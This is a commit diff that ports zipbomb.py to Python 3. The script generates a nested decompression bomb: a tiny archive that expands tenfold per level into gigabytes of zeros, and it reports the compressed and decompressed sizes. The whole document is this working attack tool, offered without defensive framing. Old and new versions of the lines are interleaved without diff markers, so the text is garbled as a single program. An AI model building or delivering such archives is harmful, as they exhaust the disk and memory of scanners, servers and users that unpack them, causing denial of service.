zipbomb.py: major renovation and Python 3 porting
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zipbomb.py
126
zipbomb.py
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@ -1,61 +1,81 @@
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import zlib
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import zipfile
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import shutil
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import os
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import sys
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import time
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#!/usr/bin/python3
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def get_file_size(filename):
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st = os.stat(filename)
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return st.st_size
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from os import remove, rename, stat
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from os.path import basename, isfile, splitext
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from shutil import copy
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from sys import argv
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from time import perf_counter
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from zipfile import ZipFile, ZIP_DEFLATED
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def generate_dummy_file(filename,size):
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with open(filename,'w') as dummy:
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for i in xrange(1024):
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dummy.write((size*1024*1024)*'0')
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BLOCK_SIZE = 1024
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BLOCK_AMOUNT = 1024**2
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COPIES_AMOUNT = 10
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def get_filename_without_extension(name):
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return name[:name.rfind('.')]
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get_file_size = lambda filename: stat(filename).st_size
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get_filename_without_extension = lambda name: splitext(basename(name))[0]
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get_file_extension = lambda name: splitext(basename(name))[-1]
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def get_extension(name):
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return name[name.rfind('.')+1:]
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def compress_file(infile,outfile):
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zf = zipfile.ZipFile(outfile, mode='w', allowZip64= True)
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zf.write(infile, compress_type=zipfile.ZIP_DEFLATED)
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zf.close()
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def generate_dummy_file(filename, size):
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with open(filename, "wb") as dummy:
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for i in range(BLOCK_SIZE):
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dummy.write((size * BLOCK_AMOUNT) * b"\0")
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def compress_file(infile, outfile):
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zf = ZipFile(outfile, mode="w", allowZip64=True)
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zf.write(infile, compress_type=ZIP_DEFLATED)
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zf.close()
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def make_copies_and_compress(infile, outfile, n_copies):
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zf = zipfile.ZipFile(outfile, mode='w', allowZip64= True)
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for i in xrange(n_copies):
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f_name = '%s-%d.%s' % (get_filename_without_extension(infile),i,get_extension(infile))
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shutil.copy(infile,f_name)
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zf.write(f_name, compress_type=zipfile.ZIP_DEFLATED)
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os.remove(f_name)
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zf.close()
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zf = ZipFile(outfile, mode="w", allowZip64=True)
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if __name__ == '__main__':
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if len(sys.argv) < 3:
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print 'Usage:\n'
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print ' zipbomb.py n_levels out_zip_file'
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exit()
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n_levels = int(sys.argv[1])
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out_zip_file = sys.argv[2]
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dummy_name = 'dummy.txt'
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start_time = time.time()
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generate_dummy_file(dummy_name,1)
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level_1_zip = '1.zip'
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compress_file(dummy_name, level_1_zip)
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os.remove(dummy_name)
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decompressed_size = 1
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for i in xrange(1,n_levels+1):
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make_copies_and_compress('%d.zip'%i,'%d.zip'%(i+1),10)
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decompressed_size *= 10
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os.remove('%d.zip'%i)
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if os.path.isfile(out_zip_file):
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os.remove(out_zip_file)
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os.rename('%d.zip'%(n_levels+1),out_zip_file)
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end_time = time.time()
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print 'Compressed File Size: %.2f KB'%(get_file_size(out_zip_file)/1024.0)
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print 'Size After Decompression: %d GB'%decompressed_size
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print 'Generation Time: %.2fs'%(end_time - start_time)
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for i in range(n_copies):
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f_name = "%s-%d.%s" % (
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get_filename_without_extension(infile),
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i,
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get_file_extension(infile),
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)
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copy(infile, f_name)
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zf.write(f_name, compress_type=ZIP_DEFLATED)
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remove(f_name)
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zf.close()
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if __name__ == "__main__":
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if len(argv) != 3:
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print(f"Usage: { basename(__file__) } <n_levels> <out_zip_file>")
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raise SystemExit
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n_levels = int(argv[1])
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out_zip_file = argv[2]
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start_time = perf_counter()
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dummy_name = "empty.bin"
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level_1_zip = "1.zip"
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generate_dummy_file(dummy_name, 1)
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compress_file(dummy_name, level_1_zip)
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remove(dummy_name)
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decompressed_size = 1
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for i in range(1, n_levels + 1):
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make_copies_and_compress("%d.zip" % i, "%d.zip" % (i + 1), COPIES_AMOUNT)
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decompressed_size *= COPIES_AMOUNT
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remove("%d.zip" % i)
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if isfile(out_zip_file):
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remove(out_zip_file)
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rename("%d.zip" % (n_levels + 1), out_zip_file)
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end_time = perf_counter()
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time_diff = end_time - start_time
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compressed_size = get_file_size(out_zip_file)
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decompressed_size *= BLOCK_SIZE * BLOCK_AMOUNT
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print("Compressed file size: %d bytes" % compressed_size)
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print("Decompression file size: %d bytes" % decompressed_size)
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print("Generation time performance: %.15f" % time_diff)
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